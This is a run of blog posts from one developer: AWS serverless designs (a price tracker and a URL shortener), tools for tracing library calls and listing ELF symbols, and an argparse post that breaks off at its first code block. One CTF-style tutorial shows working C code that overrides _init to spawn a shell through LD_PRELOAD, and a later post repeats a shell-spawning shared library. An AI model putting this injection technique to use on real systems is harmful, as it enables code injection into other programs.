As you can see, a bargain captures all the information related to a tracking request made by an user. Now having this, a straightforward way of going forward can be like the following: I can schedule a Lambda function to run every 30 minutes or so—the function can just go through all of the bargains in the table one by one, check the price of the product using the productUrl, and the notify email if the new latestPrice is different than the old one. But this will quickly run into scaling issues

As the number of users and the number of bargains increase, the same product can be tracked by multiple people. And that means the application will scrape the same product page multiple times. Scraping the product page is a very expensive operation, so this is a inefficiency we need to take care of.
Once the number of bargains is large enough, the Lambda function will take a long time to complete, and the limit for Lambda execution time is 15 minutes, so we’re quickly going to hit a wall.

Let’s discuss the first issue first. We need to get all the unique productUrls from the table—doing this in a SQL database would be easy enough, but when we’re working with a NoSQL database like DynamoDB it gets a bit complex. DynamoDB doesn’t offer any efficient way to fetch unique attributes from the objects. One way to do it would be getting all the objects, and the doing the deduplication in your code. As we can imagine, this will be pretty inefficient. A better way to do it would be maintaining a separate table for the unique productUrls, and then making sure that table keeps in sync with your main table—either using DynamoDB streams + Lambda, or using client-side code. The former would’ve made the application much more complex than it needs to be, so I went with the latter.

So I created a separate table for product objects, an example would be like the following

{
  "latestPrice": 234,
  "productTitle": "Quaker Oats, 1.5kg Pack",
  "productUrl": "https://www.amazon.in/Quaker-Oats-1-5kg-Pack/dp/B00L2K9DM8"
}

Now with this, whenever I need to scrape prices I can just go through the products table and avoid scraping the same object multiple times.

I wanted to give the users choice to turn their subscription on or off, but then again the same problem of duplication comes into picture, as there will mostly likely be multiple bargains for every user. If I don’t separate out the subscription information in another table, I’ll have to modify multiple objects for every subscription update request, which is inefficient and not cost-effective. So I separated subscriptions into another table too.

{
  "email": "sumit@skghosh.me",
  "subscribed": true
}

With these information separated out into different tables, the main bargain object is left with the following

{
  "bargainId": "339c94149456e5046b2284906c8acac0",
  "email": "sumit@skghosh.me",
  "productTitle": "Quaker Oats, 1.5kg Pack",
  "productUrl": "https://www.amazon.in/Quaker-Oats-1-5kg-Pack/dp/B00L2K9DM8"
}

I had a roadblock while deciding on a primary partition key for the bargain table. I needed an unique value for this, because I wanted the ability to delete individual bargains easily; and there’s also the fact that an uniformly distributed unique partition key increases performance of DynamoDB. Amazon recommends using composite attributes as partition key this for details. So I did just that: I took the md5 hash of the concatenation of the email and productTitle strings, and used it as the bargainId.

Finally, there is the problem of indexing. Looking up all the bargains an user has, i.e. all the products he’s tracking, is an essential function. So is looking up all the users who are tracking a particular product, this will be used by the cron function for sending notifications. But a DynamoDB table offers efficient lookup using only the partition key, to enable lookup by the other keys we’ll have to create global secondary indexes, and that’s exactly what we’re going to do. In our case, bargainId is already the partition key, so we’re going to two global secondary indexes for the email and productUrl keys respectively.

So finally, the Cloudformation templates of the DynamoDB tables look like the following

BargainsDynamoDBTable:
  Type: AWS::DynamoDB::Table
  Properties:
    TableName: ${self:custom.bargainsTableName}
    ProvisionedThroughput:
      ReadCapacityUnits: 1
      WriteCapacityUnits: 1
    AttributeDefinitions:
      - AttributeName: bargainId
        AttributeType: S
      - AttributeName: productUrl
        AttributeType: S
      - AttributeName: email
        AttributeType: S
    KeySchema:
      - AttributeName: bargainId
        KeyType: HASH
    GlobalSecondaryIndexes:
      - IndexName: emailIndex
        KeySchema:
          - AttributeName: email
            KeyType: HASH
        ProvisionedThroughput:
          ReadCapacityUnits: 1
          WriteCapacityUnits: 1
        Projection:
          ProjectionType: ALL
      - IndexName: productUrlIndex
        KeySchema:
          - AttributeName: productUrl
            KeyType: HASH
        ProvisionedThroughput:
          ReadCapacityUnits: 1
          WriteCapacityUnits: 1
        Projection:
          ProjectionType: ALL
SubscriptionsDynamoDBTable:
  Type: AWS::DynamoDB::Table
  Properties:
    TableName: ${self:custom.subscriptionsTableName}
    ProvisionedThroughput:
      ReadCapacityUnits: 1
      WriteCapacityUnits: 1
    AttributeDefinitions:
      - AttributeName: email
        AttributeType: S
    KeySchema:
      - AttributeName: email
        KeyType: HASH
ProductsDynamoDBTable:
  Type: AWS::DynamoDB::Table
  Properties:
    TableName: ${self:custom.productsTableName}
    ProvisionedThroughput:
      ReadCapacityUnits: 1
      WriteCapacityUnits: 1
    AttributeDefinitions:
      - AttributeName: productUrl
        AttributeType: S
    KeySchema:
      - AttributeName: productUrl
        KeyType: HASH

The Flask API

The Flask web-app is pretty standard, mostly consisting of CRUD operations using the boto3 library. Like I said at the start, I’m not going to go into details and explain the code here, I want to keep this article design and architecture oriented only. But if you’re interested you can always go to the Github repo here and take a look at the code. Also, I explained the serverless plugins I’m using for Lambda and DynamoDB deployment in this article, feel free to check that out as I’m not going to reiterate that here.

The Cron Functions

We’ll need a cron function system—and by cron I don’t mean the literal Unix utility, in this article, by “cron function” I’m referring to Lambda functions that are run periodically. We’ll need such a system to update the prices of all the products that are being tracked, and send notifications to the users accordingly. Like we discussed, the straightforward way of doing it is going to hit scaling issues very quickly, so we’ll have to make it more robust than that. Specifically, we need to take care of the second scaling issue I mentioned

Once the number of bargains is large enough, the Lambda function will take a long time to complete, and the limit for Lambda execution time is 15 minutes, so we’re quickly going to hit a wall.

To solve this, I went with a decoupled microservices architecture, consisting of two Lambda function and an SQS queue. The first function, enqueue-tasks, goes through the products table, and for every product it pushes a message into the SQS queue containing the product details. And this enqueue-tasks function is set to run periodically, like a cron job.

The second function, handle-task, has the SQS queue as its event source. So whenever a new message comes into the queue, an instance of the function gets triggered with the message as its input. This function is doing the bulk of the labour, it’s scraping prices for a product and sending notifications to all the users who are tracking that product.

As you can imagine, this architecture will be able to scale to very large numbers. The handle-task function instances are being run concurrently, and each instance is scraping only one product. So their individual execution time, as well as total execution time, should be small.

Just for reference, this is how the functions section of my final serverless.yml looks

functions:
  app:
    handler: wsgi_handler.handler
    events:
      - http:
          path: /
          method: ANY
          cors: true
      - http:
          path: "{proxy+}"
          method: ANY
          cors: true
    memorySize: 256
  enqueue-tasks:
    handler: app.enqueue_tasks
    events:
      - schedule: rate(30 minutes)
    memorySize: 256
  handle-task:
    handler: app.handle_task
    reservedConcurrency: 10
    events:
      - sqs:
          batchSize: 1
          arn:
            Fn::GetAtt:
              - TasksQueue
              - Arn
    memorySize: 256

Conclusion

The API documentation is available @ https://gh.skghosh.me/bargain/swagger/
The source is available @ Github. Please star it if you find it useful, and feel free to fork, make an issue, send a pull request, all of that.

A lot of improvements can be made to this application, but for now I just wanted a functional prototype that works for my personal use-case. I hope this article helped you in any way it can. And please leave a comment if you have any feedback or suggestion. I’m also planning to write a front end for this using React Native, so stay tuned for that. See you!!

Building a Serverless URL Shortener using Lambda, S3 and Cloudfront

Fri, 03 Jul 2020 18:30:00 GMT

I’ve been tinkering with the AWS cloud for about an year now, and I went ahead and got the AWS CSAA certificate too. But most of my AWS experience has been small edits to an already existing architecture, and that too for clients with their projects being closed source. I realized I don’t have a solid end-to-end cloud project that I can showcase in my portfolio, and I need one. So that’s how this project came to be. Moreover, through this project I learnt the serverless framework and got more comfortable with Cloudformation templates. So let’s get into it.

The Architecture Diagram

Here’s a simple architecture diagram I made of the whole setup. Because, a picture is worth a thousand words or something like that.

I set out to accomplish a very common pattern—serverless API on the backend utilising Lambda and DynamoDB, and static website on the frontend hosted using S3. And it was easy enough, but the hard part was getting them working on the same domain, I’ll get to that later, let’s first go through the easy part first.

Note — You can find the full source code of the application on Github here, you can refer to that as you go through the article.

Serverless Backend using Lambda and DynamoDB

The serverless framework makes this part a breeze. I followed this tutorial from their blog, my code is basically the same with the Flask functions swapped out. The API uses the Lambda proxy integration, with the whole of the Flask application being used as a single Lambda function. This pattern has both pros and cons,

It lets you use existing frameworks for the back-end application, such as Flask. This makes development easier.
If the application becomes large in size, it can result in slower Lambda invocations. Also there is a limit to the file size you can upload as a Lambda package, so keep that in mind too.

For smaller applications like ours, the cons become negligible, so it’s a suitable method for deploying our application.

The backend also uses several serverless plugins to ease development and deployment.

It uses serverless-python-requirements for packaging requirements of the python application. It takes a look at the requirements.txt file and accordingly bundles the requirements into the lambda deployment package when you run sls deploy.
serverless-wsgi enables us to use a normal Flask application, containing traditional view functions, and upload it to Lambda directly. It acts as a layer between the Python’s wsgi interface and the Lambda proxy integration interface. It also comes with a local development mode, sls wsgi serve runs the application locally.
Similarly, serverless-dynamodb-local helps us to do local development with DynamoDB.

Static Frontend with Swagger API Documentation using S3

For deploying the front-end part of the application to S3, I used the serverless-finch plugin. It makes the whole process completely hassle-free, you’ll need to configure only one or two parameters in your serverless.yml file to get up and running.

The frontend is a simple one-page website made using Bootstrap, and to handle the form submission I wrote some custom JS. I also added a Swagger UI page as an interactive documentation for my API. If you didn’t know what Swagger is, it’s an excellent API documentation tool. It requires an yml file containing the details about your API—written in the OpenAPI specification—and it creates a fully interactive documentation web page just from that. You don’t even need to read the whole specification to get started, Swagger has a great editor for creating the API specification, including a sample which you can just edit to your need.

Routing using Cloudfront

Now comes the tricky part. I wanted to host both the frontend and the backend on different paths in the same domain. For example, https://shorty.skghosh.me/api would get directed to the API Gateway, and https://shorty.skghosh.me/ would get sent to the S3 static site. Not only that, shortened URL links such as https://shorty.skghosh.me/vv3c1v should get sent to the Flask application too. This makes a bit complicated and involved. If I were to host the API on a different subdomain entirely, for example api.shorty.skghosh.me, the whole thing could be set up just using appropriate DNS records, but my use case would need a bit more engineering.

After several stack overflow answers and blog posts, I understood that Cloudfront is the right tool to solve this problem. In particular, this stack overflow snippet and this blog post helped me a lot, and of course, the AWS docs. Also, there isn’t any magic serverless plugin to do this step, so I had to write the Cloudformation resource by hand. Let’s look at it.

CloudfrontDistribution:
  Type: AWS::CloudFront::Distribution
  Properties:
    DistributionConfig:
      Aliases:
        - shorty.skghosh.me
      Origins:
        - DomainName: ${self:custom.client.bucketName}.s3-website.${self:provider.region}.amazonaws.com
          Id: StaticS3Origin
          CustomOriginConfig:
            OriginProtocolPolicy: http-only
        - DomainName:
            Fn::Join:
              - ""
              - - Ref: ApiGatewayRestApi
                - ".execute-api."
                - Ref: AWS::Region
                - ".amazonaws.com"
          Id: APIOrigin
          CustomOriginConfig:
            OriginProtocolPolicy: https-only
          OriginPath: /dev
      Enabled: true
      DefaultCacheBehavior:
        TargetOriginId: StaticS3Origin
        ForwardedValues:
          QueryString: false
          Cookies:
            Forward: none
        ViewerProtocolPolicy: redirect-to-https
      CacheBehaviors:
        - PathPattern: /swagger*
          TargetOriginId: StaticS3Origin
          ForwardedValues:
            QueryString: false
            Cookies:
              Forward: none
          ViewerProtocolPolicy: redirect-to-https
        - PathPattern: /static*
          TargetOriginId: StaticS3Origin
          ForwardedValues:
            QueryString: false
            Cookies:
              Forward: none
          ViewerProtocolPolicy: redirect-to-https
        - PathPattern: /api/?*
          TargetOriginId: APIOrigin
          ForwardedValues:
            QueryString: true
            Headers: [Accept, Referer, Authorization, Content-Type]
            Cookies:
              Forward: none
          ViewerProtocolPolicy: redirect-to-https
          AllowedMethods: [DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT]
          MinTTL: "0"
          DefaultTTL: "0"
        - PathPattern: /?*
          TargetOriginId: APIOrigin
          ForwardedValues:
            QueryString: true
            Headers: [Accept, Referer, Authorization, Content-Type]
            Cookies:
              Forward: none
          ViewerProtocolPolicy: redirect-to-https
          AllowedMethods: [DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT]
          MinTTL: "0"
          DefaultTTL: "0"
      ViewerCertificate:
        AcmCertificateArn: arn:aws:acm:us-east-1:680499645329:certificate/6fbcfddc-3351-47fc-9ebe-f3d88abc444f
        SslSupportMethod: sni-only
        MinimumProtocolVersion: TLSv1.2_2018
      PriceClass: PriceClass_100

In short, I declared two Origins, one for the API, and another for the S3 static site. And then added the proper CacheBehaviors. There are some nuances that you have to get exactly right, otherwise it wouldn’t just work. I wouldn’t go through all of them here; but if you’re trying to replicate my setup, make sure you got all the parameters in the Cloudformation template correctly, even the seemingly trivial ones. I’ll list the ones I had trouble with

The S3 static website origin must have its OriginProtocolPolicy set to http-only.
For the API origin, pay attention to ForwardedValues, AllowedMethods, MinTTL and DefaultTTL.
Make sure you got the order of the CacheBehaviors correct, the ones you declare first will have greater priority over the others—AWS starts matching the PathPattern from the top, as soon as it finds a match it directs the request to that. A rule of thumb is, the more specific a PathPattern is, the higher up it should be.

Adding a Custom Domain

Adding a custom domain requires some manual steps. You have to go to AWS Certificate Manager and create a certificate for your domain. Make sure it’s in the us-east-1 region, otherwise you wouldn’t be able to use it with Cloudfront. Once you have created and verified your certificate, add the ViewerCertificate and Aliases parameters to the Cloudfront resource. The last step would be adding a CNAME or ALIAS record in your domain registrar, binding your custom domain with your Cloudfront distribution domain.

Conclusion

The final website is hosted @ https://shorty.skghosh.me
The API documentation is available @ https://shorty.skghosh.me/swagger
The source is available @ Github. Please star it if you find it useful, and feel free to fork, make an issue, send a pull request, all of that.

This was a exciting learning exercise for me, so I couldn’t wait to share it with everyone. I hope the post helps you too, in whatever way it can. Make sure to leave a comment if you have any feedback or question, I’ll try my best to get back to you.

Hijacking Library Functions and Injecting Code Using the Dynamic Linker

Sat, 09 May 2020 18:30:00 GMT

Recently I learned about a neat little trick that lets you inject arbitrary code into a program, and lets you alter the behavior of the program to some extent. And all it uses is some custom C code and an innocent-looking environment variable. So yeah, in this post, we’re going to see what it is. I learned this while solving a CTF challenge, so let’s start with that in context.

The challenge

Create a shared object which spawns a shell using execve when used like;

$ LD_PRELOAD=./payload.so /bin/true

The original challenge was a bit more involved than this, I’ve trimmed it down to the part that’s relevant to the topic of this article. Before solving this hands-on, we need to brush up on some background knowledge.

Linking 101 :: Static vs. dynamic

In this section, I’ll try to briefly explain the compilation process and the difference between static linking and dynamic linking. I’m doing this just because it’s directly relevant to the main content of this post, but I must state that I’m not an expert on this. The explanation will likely be an oversimplification almost to the point of being incorrect, but I’m hoping that for now it’ll work as an introduction for the complete beginner. If you already know all this stuff, skip this section. Now that we have that out of the way, let’s see if I can do this.

We all know what libraries are, right? Libraries are reusable code that we just import or include in our program and use directly. Regardless of experience or competence, all programmers use libraries; they are an inseparable part of the programming process. The usual reasons being

Not reinventing the wheel.
Keeping the source code modular, and thus readable, sane, etc.

The compilation process

Now, let’s look at the compilation process. First, the compiler compiles your source code into object files. And then linker combines the object files and any libraries that you might need, and creates the final executable. This way, the final executable has all the library functions it needs.

So, to reiterate, linking usually means creating an executable, from combining object files and libraries.

Linking can be of two types, static and dynamic.

Static linking

Static linking creates an executable that has everything it needs at runtime in itself. When you statically link your compiled object files and libraries, they get embedded in a single file—the final executable. Obviously, this will create a larger executable, but the upside is that you won’t have to depend on the runtime environment.

Dynamic linking

Dynamic linking does not embed the libraries in the executable; rather, it just leaves a reference mentioning that it needs those library functions at runtime. When the executable is run, another program called the dynamic linker makes sure that those library functions are present in memory, and if they are not, it loads them into memory. All in all, the dynamic linker makes sure that the library functions needed by the executable are present at runtime. There can be confusion of terminology here: the dynamic linker is not the same as the linker; the former is a part of the OS, the latter is used as a part of the compilation process.

In this way, the libraries are genuinely “shared” between different programs at runtime, and the OS doesn’t have to load multiple copies of the same core libraries. That means the available RAM is efficiently utilized. It also reduces the size of the executables and consequently, space on the secondary storage.

Hijacking library functions

Now we’re getting into the meat of the discussion. We know what the dynamic linker does in general. But there is a particular behavior of it that we’re going to exploit: The dynamic linker loads any libraries mentioned in the LD_PRELOAD environment variable before loading any other libraries. That means, in a way the libraries in LD_PRELOAD gets the most priority. This gives possibility of hijacking library calls made from any program, you just have to write an alternate implementation of the library function and mention the shared object file in LD_PRELOAD. Let’s explore this concept using an example.

Let’s create a simple application which we’re going to hijack.

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

int main(int argc, char const *argv[]) {
    srand(time(NULL));
    printf("%d\n", rand());
}

It’s a straightforward program; it generates a random integer and prints it to the screen.

sumit@HAL9000:~$ gcc random.c -o random
sumit@HAL9000:~$ ./random
80623719

We know this program inside-out, including which library functions it uses because we have access to its source code. But we won’t always have that privilege in the real world. So let’s forget for a while that we have the source code, and let’s try to figure it out from the executable binary.

The easiest way to do this would be running ltrace, which intercepts and records the system calls which are called by a process. However, if you’re using some specific versions of binutils—the compiler toolchain—ltrace might not work on your program. I’ve detailed that problem and some solutions in this post and this post. If that’s the case for you, use uftrace, the installation and usage is outlined here. We’re going to go with uftrace in this post.

Using uftrace to detect dynamic library calls

sumit@HAL9000:~$ uftrace --force -a ./random
558344509
# DURATION     TID     FUNCTION
   3.077 us [  3112] | time();
   4.586 us [  3112] | srand();
   0.736 us [  3112] | rand();
 237.164 us [  3112] | printf("%d\n") = 10;

Now, as you can see from the output, uftrace lists all the library calls it could intercept// detect. Now we know that it calls rand to generate a random number, and we would’ve got this information without the source code. Let’s consider that we want to spoof the program into generating the same number every time. That is, we want to hijack the rand function and change its return value, returning a fixed number every time it’s called.

Writing the rand function

In order to fool the program into using our counterfeit rand, it’s signature needs to match exactly with that of the actual rand—the function expected by the program. The signature of a function consists of its;

Name
Arguments
Return type

We can get all the details about libc functions using man.

sumit@HAL9000:~$ man 3 rand

Looking at the man page, we’ll see that the signature of read is the following ::

int rand(void);

It’s simple enough in this case, but still, we should read the man page of any and all libc function we’re trying to spoof. The man page also tells us how the functions are supposed to function, if we don’t keep in mind those critical functionalities, the program could crash. Knowing these, we can write our counterfeit function.

int rand(void) {
    return 42;
}

Let’s compile it into a shared library.

sumit@HAL9000:~$ gcc -shared -fpic shlib.c -o shlib.so

This will compile the source file shlib.c into the shared object shlib.so.

The exploit

Now that we have a shared library that exports a counterfeit version of rand, how can we get the program to use it? We’ve discussed this at the start of the article, but let’s do a quick recap.

Whenever a program launches in Linux, the dynamic linker takes care of loading the required shared libraries. The dynamic linker has a special behavior, it loads the libraries mentioned in the LD_PRELOAD environment variable first, so those libraries get the most priority and overrides any other system libraries.

Knowing that, the rest is easy enough.

sumit@HAL9000:~$ LD_PRELOAD=./shlib.so ./random
42

It works!! The random program uses the rand function from shlib.so, and thus it prints 42 every time. Note that setting the environment variable this way will set the variable for that command only, not the whole shell session. Setting the LD_PRELOAD variable for your whole session might mess things up, so this is the safer way.

Some caveats

1. System calls and libc

System calls, like open, can be called using three methods;

Directly invoking the system call trap// interrupt using proper machine instruction.
Using the syscall function from libc, which is a thin wrapper that takes care of invoking the appropriate machine instruction properly.
Using the wrapper function open from libc.

If the program is using either of the first two methods, you can’t hijack it using this technique.

2. Statically linked libraries

You can not hijack functions from statically linked libraries, because in that case, the libraries functions are embedded in the executable binary itself, it doesn’t look for it anywhere else.

Code injection :: The _init function

Okay, now we know how to hijack library calls. We can even write malicious code in our counterfeit functions, such as spawning a shell, or change the function’s behavior to our advantage.

But /bin/true does not call any libc function whatsoever. How can we inject code into that? Enter the _init function. The _init and _fini functions are run at the start and end of the loading process, respectively. It’s true for all programs, regardless of whether it calls any library functions, so we can use this to our advantage. As you can guess, it’s usually used for startup and cleanup tasks of the loading process. But we’re going to write a counterfeit _init, and that will execute our malicious code.

Note that nowadays, it’s usually not recommended to use _init and _fini for startup and cleanup tasks. The modern practice is writing constructors and destructors. You can read about it here. But as we’re not going to write startup tasks anyway, let’s go along with _init.

The exploit

As we already know how the process works, this time, let’s keep it short and get to the point.

#include <unistd.h>

void _init() {
    char *argv[] = {"/bin/sh", 0};
    execve(argv[0], &argv[0], NULL);
}

Above is the _init implementation I wrote; it spawns a shell using execve, pretty naughty, eh? Now let’s compile it and LD_PRELOAD the compiled library.

sumit@HAL9000:~$ gcc -shared -fpic -nostartfiles shlib.c -o shlib.so
sumit@HAL9000:~$ LD_PRELOAD=./shlib.so ./random
$ whoami
sumit
$ exit
sumit@HAL9000:~$ LD_PRELOAD=./shlib.so /bin/true
$

As you can see, the code injection worked for both random and /bin/true, it spawned a shell! The dynamic linker made sure that the _init function gets executed, at the very start of the loading process. Note that when your source code has the _init function, you need to pass the nostartfiles flag to gcc for it to compile.

Conclusion

I might have gotten a bit impatient while writing the article, and I rushed a bit; so there might be mistakes or some portions of it might not be so clear. If you face any problem while following the article, or if you find any mistake, or simply if you have questions to ask, please let me know in the comments and I’ll get back to as soon as possible. Hope this post helps you. Have a great day!

Using Uftrace to Trace Dynamic Library Calls

Tue, 05 May 2020 18:30:00 GMT

This post is an update to my last post, where I regretted that ltrace doesn’t work on binaries that lack the PLT section, and explored some alternative ways that tries to achieve what ltrace couldn’t. Those alternatives weren’t perfect, I was still looking for a perfect one, so I asked a question at Stack Overflow and the Unix and Linux Stack Exchange, and someone came to the rescue and introduced me to the uftrace utility. And I’m glad to say, this is definitely a perfect alternative to ltrace, that does everything ltrace does, and more.

The real strength of uftrace lies in it’s ability to trace internal function calls and draw a call graph, which would definitely be immensely helpful in debugging and profiling. I’m not going to discuss that in this article though, I’m just going to share how you can use uftrace as an alternative to ltrace, i.e. to trace library calls.

Let’s use the following “hello world” program as an example;

#include <stdio.h>

int main(int argc, char const *argv[])
{
	printf("Hello world!\n");
	return 0;
}

We’re gonna compile it with the -z now flag, which generates a binary without a PLT section.

sumit@HAL9000:~$ gcc hello.c -o hello -Wl,-z,now
sumit@HAL9000:~$ ltrace ./hello
Hello world!
+++ exited (status 0) +++

As expected, ltrace couldn’t trace any library call.

Enter uftrace

Installing uftrace is easy enough. Ubuntu has uftrace in the standard repositories, so a simple apt install uftrace worked for me. You can also build it from source by following the instructions in the official repo.

Once you have it installed, use it the following way.

sumit@HAL9000:~$ uftrace --force -a ./hello
Hello world!
# DURATION     TID     FUNCTION
 187.291 us [ 40352] | puts("Hello world!") = 13;

How amazing is that!! By the way, the --force flag is required for it to work on standard binaries that doesn’t have any debugging information embedded within, and the -a argument makes it detect arguments to the function calls it intercepts.

Hope this short post was useful to you. I’ll be back with a post on code injection using dynamic libraries soon, so keep posted.

Listing External Functions Used// Exported by Executables and Shared Libraries

Thu, 30 Apr 2020 18:30:00 GMT

ltrace and its incompetence

ltrace is a program that intercepts and records the dynamic library calls which are called by an executed process. Although it’s not a part of the POSIX standard, it’s usually included in every Linux installation.

In my Ubuntu 19.10 system, I noticed that ltrace couldn’t intercept any library calls when it was used on the bundled system programs, such as ls and cat. For example,

sumit@HAL9000:~$ ltrace ls
[... usual output of ls]
+++ exited (status 0) +++

It also wasn’t working on programs I compiled myself. Clearly, something was wrong; Stack Overflow was one source of clarity, specifically this question. As it is clear from the linked discussion, ltrace doesn’t work on binaries linked with the -z now option, It only works on binaries linked with -z lazy. It isn’t clear if// when the devs are going to fix this, so we have to find some workarounds in the meanwhile.

To that end, I’ve been looking for alternatives to ltrace, albeit unsuccessfully. If you know one, please let me know in the comments, or write an email to me.

For now, we’ll take an alternate route. Instead of hijacking library calls as they happen, we’ll inspect the elf binary and look for external symbols it has referred to. All library functions are listed as external symbols in an elf binary, so that way we’ll get an exhaustive list of all the functions it could call, theoretically. We won’t get the debugging capability of ltrace to its full extent, as we won’t be able to see the function calls as they happen in real-time, nor will we be able to see the function arguments. But, beggars can’t be choosers.

Listing symbols in an elf executable

This section is an expansion on this Stack Overflow discussion.

We’ll be using the following C program for testing.

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

int main(int argc, char const *argv[]) {
    srand(time(NULL));
    printf("%d\n", rand());
}

Pretty simple program, just prints out a random integer.

sumit@HAL9000:~$ gcc random.c -o random
sumit@HAL9000:~$ ./random
701758836

Now let’s see how we can list the external library functions it’s using.

Using nm

sumit@HAL9000:~$ nm -gDC random
                 w __cxa_finalize
                 w __gmon_start__
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
                 U __libc_start_main
                 U printf
                 U rand
                 U srand
                 U time

Flags :: g for external symbols, D for dynamic symbols, and C for demangling C++ symbols.

Using objdump

sumit@HAL9000:~$ objdump -TC random

random:     file format elf64-x86-64

DYNAMIC SYMBOL TABLE:
0000000000000000  w   D  *UND*    0000000000000000              _ITM_deregisterTMCloneTable
0000000000000000      DF *UND*    0000000000000000  GLIBC_2.2.5 printf
0000000000000000      DF *UND*    0000000000000000  GLIBC_2.2.5 __libc_start_main
0000000000000000      DF *UND*    0000000000000000  GLIBC_2.2.5 srand
0000000000000000  w   D  *UND*    0000000000000000              __gmon_start__
0000000000000000      DF *UND*    0000000000000000  GLIBC_2.2.5 time
0000000000000000  w   D  *UND*    0000000000000000              _ITM_registerTMCloneTable
0000000000000000      DF *UND*    0000000000000000  GLIBC_2.2.5 rand
0000000000000000  w   DF *UND*    0000000000000000  GLIBC_2.2.5 __cxa_finalize

Flags :: T for dynamic symbols, and C for demangling C++ symbols.

Using readelf

sumit@HAL9000:~$ readelf --dyn-syms random

Symbol table '.dynsym' contains 10 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.2.5 (2)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND srand@GLIBC_2.2.5 (2)
     5: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND time@GLIBC_2.2.5 (2)
     7: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND rand@GLIBC_2.2.5 (2)
     9: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.2.5 (2)

Flags :: --dym-syms for dynamic symbols.

All of the above do the same task, more or less: they dump the externally visible dynamic symbols located in the .dynsym section of the symbol table in the elf file. As you can see, they have varying levels of verbosity; readelf is the most verbose of them all, it displays all the attributes of the symbols in a tabular manner.

Picking out the global function symbols

Looking at the symbol names in the readelf output, you could suspect that not all of them are library functions, and you’d be right. Only the symbols with type FUNC and bind GLOBAL, i.e. global functions, are external library functions. You can pick them out manually, or you can use a python script I’ve written, dynfuncs.py that does it for you.

sumit@HAL9000:~$ python3 dynfuncs.py random
Symbol table '.dynsym' contains 5 global functions:
   Num: Name
     0: printf
     1: __libc_start_main
     2: srand
     3: time
     4: rand

This script uses pyelftools to parse the elf file and then pick out the symbols, it doesn’t rely on any of the previously mentioned commands.

Either way, you get a list of symbols, which are global// externally visible functions, which for an executable binary means dynamically linked library functions. And it does correctly list all 4 library functions we’ve used in our random.c program.

Inspecting Shared Libraries

Note that we can use the above commands and script not only for elf executables but for elf shared libraries, i.e. .so files too. In that case, it’ll also list functions and symbols exported by the shared library, along with the external library functions used by the shared library. The following example illustrates this.

#include <unistd.h>

void shell() {
	char *argv[] = {"/bin/sh", 0};
	execve(argv[0], &argv[0], NULL);
}

Above is the source code of a small shared library which exports a single function shell which, evidently, spawns a shell. Let’s compile this.

sumit@HAL9000:~$ gcc -shared -fpic shlib.c -o shlib.so

Now let’s list the dynamic symbols in shlib.so.

sumit@HAL9000:~$ readelf --dyn-syms shlib.so

Symbol table '.dynsym' contains 8 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (2)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND execve@GLIBC_2.2.5 (3)
     4: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     5: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
     6: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.2.5 (3)
     7: 0000000000001139    93 FUNC    GLOBAL DEFAULT   14 shell

sumit@HAL9000:~$ python3 dynfuncs.py shlib.so
Symbol table '.dynsym' contains 3 global functions:
   Num: Name
     0: __stack_chk_fail
     1: execve
     2: shell

objdump and nm will yield the same symbols, just in different formats.

We can see from the above results that for a shared library, the exported functions as well as the functions used by the library are dumped.

You must be wondering about some extra functions showing up in these dumps despite you not using them explicitly in the source code; names starting with __, for example, __libc_start_main and __stack_chk_fail. These are standard functions that are inserted by the compiler, they’re usually defined in the LSB specs. For usual use-cases, you don’t need to worry about them.

Conclusions and a request

We know how to list all the library functions an executable might use. But we still don’t know the functions actually getting called by the executable in a specific run, only ltrace could tell us that. As of now, with most distros moving to -z now binaries, ltrace is pretty much unusable. I still haven’t found any alternative to ltrace, so if you come upon one, please send me an email or leave a comment mentioning that. Thanks!

Parsing Dictionary-Like Key-Value Pairs Using Argparse in Python

Thu, 16 Apr 2020 18:30:00 GMT

Python’s argparse is a wonderful library. You can write a capable Unix-style command-line program using very few lines of code. The docs mention how you can use argparse to server a variety of use-cases, it most likely covers everything one might need from an argument parser, it’s batteries-included in the true sense of the term. But, there are some holes—the battery isn’t there—so you have to code it up yourself.

One such case is accepting a dictionary-like list of arbitrary key-value pairs as an argument. argparse doesn’t support this natively, but it’s flexible enough that you can code it yourself and add it to to argparse. In this post, I’m going to share how I do it.

Argparse Actions

Before we can proceed, we need to understand Actions in argparse and how they work. From the docs ::

ArgumentParser objects associate command-line arguments with actions. These actions can do just about anything with the command-line arguments associated with them…

Each command-line argument is passed to an associated action, as part of the standard pipeline. The action can do anything they want with the argument, and make any changes to the final ArgumentParser namespace (i.e. the final output) accordingly.

It should be clear by this point that we’re gonna write a custom action, an action that parses the input string argument and converts into a dictionary. From the docs ::

You may also specify an arbitrary action by passing an Action subclass or other object that implements the same interface. The recommended way to do this is to extend Action, overriding the __call__ method and optionally the __init__ method.

Like it says above, we’re going to create an action subclass, and override the __call__ method.

The Code

import argparse

class ParseKwargs(argparse.Action):
